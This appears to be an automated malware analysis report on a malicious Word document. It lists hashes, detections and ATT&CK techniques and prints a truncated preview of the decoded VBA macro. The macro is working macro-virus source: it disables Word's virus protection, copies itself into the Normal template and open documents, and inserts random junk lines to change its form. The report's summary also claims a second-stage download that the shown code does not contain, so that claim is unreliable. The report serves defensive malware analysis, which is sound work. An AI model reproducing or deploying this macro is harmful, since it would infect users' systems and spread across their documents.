Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4d81bac05220a134…

MALICIOUS

Office (OLE)

42.5 KB Created: 2001-06-04 07:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0ae99a300dfb4ee3231eeb450354d187 SHA-1: 597062451ecaca198803aec0b542e6efb0d2df63 SHA-256: 4d81bac05220a13481745b641ec28626a9e5f066dec67b2a9ae70636b053f313
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro that triggers on Auto_Close. This macro is designed to disable virus protection and potentially download and execute a second-stage payload, as indicated by the ClamAV detections and the presence of obfuscated VBA code. The macro's intent is to facilitate further infection by preparing the system and fetching additional malicious content.

Heuristics 4

  • ClamAV: Doc.Trojan.Kpmv-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Kpmv-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17973 bytes
SHA-256: ebab1ebe87ea851f54a0ee7cefcf58f454442d566b4f03da791f459185326a02
Detection
ClamAV: Doc.Trojan.Class-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Close()
U = OjKOq + PgOPs + GzICr + IqARv + ChHAj + C
On Error Resume Next
E = TsMJo + PeAMh + BtLOk + KiPIr + NkFIi + RxJIp + VuPGp + N
Options.SaveNormalPrompt = 0
N = BeCUj + LgRAn + LoSEi + D
Options.ConfirmConversions = 0
S = VlMVi + AwIIe + LhKOp + ExRGp + ExVUm + LyTKu + FuNFz + K
Application.EnableCancelKey = 0
D = HlTFz + IlLVt + OsVGx + AsGCn + HlEUr + EiLPv + VjIQs + BvCNw + JzQLz + FyVVv + AnANo + G
TD38 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
I = MrVEi + PeEQu + D
Options.VirusProtection = 0
N = AoUJu + RsOGn + JrKFe + VuQKg + PzALt + AiCRi + OxKBj + PrKSr + KfMFw + JgBNn + BhIEj + U
SO59 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
T = DpNRj + QgSBm + TqTRg + F
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
M = LiKHk + LnKIj + NkVHg + ToNNt + QmNEm + TnIUw + EnKNg + HfIMj + U
Set VN9 = ActiveDocument.VBProject.VBComponents.Item(1)
J = EgEOs + KoIHq + FzKKw + CjALz + CfEHn + OfQRh + BvQAn + EfJSu + G
HV78 = True
S = TpILl + HnSIu + RiUMt + UjLDp + GhREy + OvRHz + V
End If
N = FtFHj + ViVAe + PhTGv + FyHHx + UlUVo + QjSOr + OiRBm + HpOFr + KrFEz + AoUJr + AhOVo + M
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
L = TgUIu + DvMTi + BeUHl + TmEMg + NrNDj + MoDQn + SjMOs + EnOJi + IhBIl + JoJDe + VtHGk + S
Set VN9 = NormalTemplate.VBProject.VBComponents.Item(1)
C = AmJKr + AzFIt + IgMMr + PeFDr + EfDPh + PqHOp + MhPRu + E
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.InsertLines ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines, "' ****** " & Application.UserName & " was infected " & Now & vbCr
I = NgOBp + NlTDp + HzGRk + FhLNq + PxMSv + NwABz + HkLPl + TmJOn + VrPBj + A
TD38 = TD38 + 2
K = LmUUg + HqMAx + RjOTh + SyRUv + MeNMw + M
JT94 = True
V = IjEBo + BuNRl + GoHIu + IiIPw + LqUIx + VmQUe + KkVLu + IzCDg + FkEPq + OzHFw + J
End If
D = PtSCz + OyNBe + BuJFw + JgCDf + C
If JT94 = True Then
Q = LyNAi + TkOHj + LeFRi + JpSMr + AxEGf + MkRPl + DxURm + RuDTk + GiCFs + UzPQo + RzBFw + S
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\" & Application.UserInitials
I = JuHTs + DeULx + HjNKu + TlADx + R
VN9.CodeModule.AddFromFile ("c:\" & Application.UserInitials)
U = EuHDr + CsJCg + UnKOy + TkSHg + EhULt + NlLAf + OgBHh + CtDBe + GoEEy + DmUEx + O
VN9.CodeModule.deletelines 1, 4
T = OgJCo + OwFOw + GuPTk + NuRRz + K
VN9.CodeModule.replaceline 1, "Sub AutoClose()"
H = HgRKm + UuKJy + F
ElseIf HV78 = True Then
I = VsTKm + EuUSh + OfKIw + IoETe + TqPCj + QyMCx + ElKEp + S
VN9.CodeModule.AddFromFile ("c:\" & Application.UserInitials)
R = BtFEi + VhSGn + VjKMx + LfSDi + EvRDm + PoMQm + ImBJo + GfIIe + MjRMn + O
VN9.CodeModule.deletelines 1, 4
B = KeORj + AwIRi + PgIRu + RpMDn + RiCQv + AqVVs + MnMNi + DrPGk + UyKLu + NqCNi + OqDTx + K
End If
A = LpKTh + HoVBs + VgDVr + PqVCk + AoPGn + FgGHi + OmLJg + AoDNv + O
With VN9.CodeModule
E = EiDJg + CoQRz + UxFKq + OkUTx + V
For x = 2 To (VN9.CodeModule.CountOfLines - 1) Step 2
A = UrNUx + IvNVs + GxHPe + OfJLu + R
For y = 1 To (Int(Rnd * 10) + 2)
O = JtQRv + AnIGq + QvLHi + DoVUm + RrIOi + JsJIi + BvONy + BkQSr + BwOFg + KpHSz + R
KT38 = KT38 + (Chr(65 + Int(Rnd * 22))) & (Chr(122 - Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(122 - Int(Rnd * 22))) & " + "
D = SzMGy + DgEPu + K
Next y
U = HkGLv + JgTRg + TfPIe + UwUTz + SsMMn + O
.replaceline x, (Chr(65 + Int(Rnd * 22))) & " = " & KT38 & (Chr(65 + Int(Rnd * 22)))
M = KwGGu + RiOQz + ErSAo + ToQHr + BeCDf + JzREp + OfURo + FrHEr + OjJKq + RnOCz + HuCAl + K
KT38 = ""
O = CqPOz + TjMMe + KrIAx + DeTFw + AnOPs + GgAKo + S
Next x
E = GkKRz + BeTGx + UuTGk + J
End With
Q = EiSHt + QtBCr
... (truncated)

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